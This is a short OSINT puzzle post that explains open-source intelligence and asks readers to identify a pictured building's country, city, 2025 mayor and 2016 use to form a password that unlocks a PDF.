Let's dive into a fun OSINT challenge! Your goal: uncover the password to decrypt a mysterious PDF file. All the clues you need are out there, you just have to find them.

What is OSINT?

OSINT (Open Source Intelligence) is the practice of collecting and analyzing publicly available information to produce actionable intelligence. It's widely used in cybersecurity, investigations, journalism, and more.

Now let's put it into practice!

The Riddle

The password follows this format:

country_city_lastname_building

You've been given a picture of a building. Your mission is to:

1. Identify the country where this building is located.
2. Find the city it belongs to.
3. Determine who is the Mayor of this city as of 2025.
4. Discover the purpose of the building in the picture back in 2016.

Careful, every word that is not a name needs to be written in English!

Don't forget that there is no accent in English!

Can you gather all the information needed to crack the code and unlock the file?
